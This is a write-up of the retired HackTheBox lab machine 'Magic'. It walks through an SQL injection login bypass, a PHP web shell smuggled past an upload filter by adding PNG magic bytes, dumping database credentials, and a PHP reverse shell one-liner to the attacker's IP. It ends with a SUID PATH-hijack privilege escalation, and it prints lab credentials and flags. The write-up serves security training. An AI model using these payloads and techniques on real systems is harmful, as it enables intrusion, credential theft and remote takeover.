HTB: Magic

Magic card

This is a writeup about a retired HacktheBox machine: Magic publish by TRX on April 18 2020. This box is classified as a medium machine but is quit easy. It involves a basic SQL injection, a magic file upload and a SUID binary.

Recon

We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP).

# Nmap 7.80 scan initiated Mon Apr 20 11:14:29 2020 as: nmap -p- -oN nmap 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.016s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon Apr 20 11:14:42 2020 -- 1 IP address (1 host up) scanned in 12.63 seconds

SSH

The SSH service accept only public key authentication. Therefore we won't be able to use any password found to connect to the SSH service.

kali@kali:~$ ssh toto@10.10.10.185
toto@10.10.10.185: Permission denied (publickey).

Web

The website expose some picture gallery.

main page

The website announce that we need to login to upload new picture.

login form

Some mechanism forbid us to put space in our username and password. We fire up Burp and edit the request using the Intercept function so that our post request look like the following

POST /login.php HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs

username=aa' or 1=1 -- &password=a

We are then logged in and we can upload picture using the application.

upload form

Obviously we want to upload some PHP file for instance /usr/share/webshells/php/simple-backdoor.php. We intercept the request with Burp and change the Content-Type to image/png and the image name to simple-backdoor.php.png.

Our request is blocked and the application send us the following message <script>alert('What are you trying to do there?')</script><!DOCTYPE HTML>

That where the name of the box is relevant. We need to add the PNG magic number to our file.

Still using Burp we add aaaaaaaa at the begging of our file.

Burp request with aaaaaaaa

Using the Raw editor in Burp we replace our a (61) by the PNG's magic number 89 50 4E 47 0D 0A 1A 0A.

Burp request with PNG's magic number

Our request now looks like the following (copy-pasting it will failed as the magic number will not correctly be copied):

POST /upload.php HTTP/1.1
Host: 10.10.10.185
Content-Type: multipart/form-data; boundary=---------------------------1971341748341881315972996739
Content-Length: 692
Connection: close
Cookie: PHPSESSID=gl7e03c4vb6ejee40tgeobjhfh

-----------------------------1971341748341881315972996739
Content-Disposition: form-data; name="image"; filename="simple-backdoor2.php.png"
Content-Type: image/png

‰PNG


<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

-----------------------------1971341748341881315972996739
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------1971341748341881315972996739--

This "image" will be uploaded and we can then go to http://10.10.10.185/images/uploads/simple-backdoor2.php to execute some commands on the system.

We start enumerating and found a db.php5 file containing the database credentials theseus:iamkingtheseus.

GET /images/uploads/simple-backdoor2.php.png?cmd=cat+/var/www/Magic/db.php5 HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
Content-Length: 2


HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 12:32:22 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 961
Connection: close
Content-Type: text/html; charset=UTF-8

‰PNG


<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<pre><?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}
</pre>

We can then use mysqldump (which is strangely present on the box) to dump the content of all databases using the previous credentials. That give us the credentials for the web login form: admin:Th3s3usW4sK1ng.

GET /images/uploads/simple-backdoor2.php.png?cmd=mysqldump+-piamkingtheseus+-u+theseus+--all-databases HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs


HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 12:31:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2201
Connection: close
Content-Type: text/html; charset=UTF-8

‰PNG


<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<pre>-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database:
-- ------------------------------------------------------
-- Server version   5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `Magic`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2020-04-22  5:31:35
</pre>

It is time to get a proper shell. We know that PHP is installed on the box (as the web application is using PHP). So we use a PHP reverse shell and run nc -l -p 4242 on our side.

GET /images/uploads/simple-backdoor2.php.png?cmd=php+-r+'$sock%3dfsockopen("10.10.14.226",4242)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b' HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs

That will give us a reverse shell as www-data without interactivity. Using /usr/bin/script -qc /bin/bash /dev/null we get a better shell with interactivity and can simply change user with su theseus and inputing his password Th3s3usW4sK1ng

Then we can grab the user flag.

nc -l -p 4242
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/script -qc /bin/bash /dev/null
www-data@ubuntu:/var/www/Magic/images/uploads$ su theseus
su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/var/www/Magic/images/uploads$ cat ~/user.txt
cat ~/user.txt
e0d993fb203a25ba31cee6d8aa2a612f

Root

When looking at the SUID files we see that sysinfo is quit recent.

theseus@ubuntu:/var/www/Magic/images/uploads$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | grep -v snap
<ype f -exec ls -la {} 2>/dev/null \; | grep -v snap
-rwsr-xr-- 1 root dip 382696 Feb 11 07:05 /usr/sbin/pppd
-rwsr-xr-x 1 root root 40344 Mar 22  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 76496 Mar 22  2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 75824 Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 149080 Jan 31 09:18 /usr/bin/sudo
-rwsr-xr-x 1 root root 22520 Mar 27  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 44528 Mar 22  2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 18448 Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 22528 Jun 28  2019 /usr/bin/arping
-rwsr-xr-x 1 root root 10312 Dec  9 02:03 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 10232 Dec 18 00:15 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 26696 Jan  8 10:31 /bin/umount
-rwsr-xr-x 1 root root 30800 Aug 11  2016 /bin/fusermount
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
-rwsr-xr-x 1 root root 43088 Jan  8 10:31 /bin/mount
-rwsr-xr-x 1 root root 44664 Mar 22  2019 /bin/su
-rwsr-xr-x 1 root root 64424 Jun 28  2019 /bin/ping

We use ltrace (also already on the box) to see the binary calls and quickly saw a call to lshw using a relative path.

theseus@ubuntu:/var/www/Magic/images/uploads$ ltrace /bin/sysinfo
ltrace /bin/sysinfo
_ZNSt8ios_base4InitC1Ev(0x55b09400e131, 0xffff, 0x7ffef3bfc788, 128) = 0
__cxa_atexit(0x7f40c551fa40, 0x55b09400e131, 0x55b09400e008, 6) = 0
setuid(0)                                        = -1
setgid(0)                                        = -1
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x55b09400e020, 0x55b093e0c8f8, -160, 0) = 0x55b09400e020
_ZNSolsEPFRSoS_E(0x55b09400e020, 0x7f40c558f870, 0x55b09400e020, 0x55b093e0c92d====================Hardware Info====================
) = 0x55b09400e020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffef3bfc650, 0x55b093e0c92e, 0, 2880) = 0x7ffef3bfc660
popen("lshw -short", "r")                        = 0x55b095436280
fgets(WARNING: you should run this program as super-user.
"H/W path     Device  Class      "..., 128, 0x563a9c8f6280)                                                                                = 0x7ffe1eb20b70
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffe1eb20c20, 0x7ffe1eb20b70, 0x7ffe1eb20b70, 0x6974706972637365)                  = 0x7ffe1eb20c20
fgets("================================"..., 128, 0x563a9c8f6280)                                                                                = 0x7ffe1eb20b70
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffe1eb20c20, 0x7ffe1eb20b70, 0x7ffe1eb20b70, 0x3d3d3d3d3d3d3d3d)                  = 0x7ffe1eb20c20

So we simply exploit this PATH vulnerability and get the root flag.

theseus@ubuntu:/var/www/Magic/images/uploads$ cd /tmp/
cd /tmp/
theseus@ubuntu:/tmp$ mkdir ioio
mkdir ioio
theseus@ubuntu:/tmp$ cd ioio
cd ioio
theseus@ubuntu:/tmp/ioio$ echo 'cat /root/root.txt' > lshw
echo 'cat /root/root.txt' > lshw
theseus@ubuntu:/tmp/ioio$ PATH=./:$PATH
PATH=./:$PATH
theseus@ubuntu:/tmp/ioio$ chmod +x lshw
chmod +x lshw
theseus@ubuntu:/tmp/ioio$ sysinfo
sysinfo
====================Hardware Info====================
a06f37dc581bc81a9e688040af40daaf

====================Disk Info====================
Disk /dev/loop0: 44.9 MiB, 47063040 bytes, 91920 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/loop1: 149.9 MiB, 157192192 bytes, 307016 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

(The flag is in the Hardware Info part in the first lines of the sysinfo output.)

Wrapping up

Quit an easy but pleasant box. I will recommend this box to beginners as I really enjoyed it.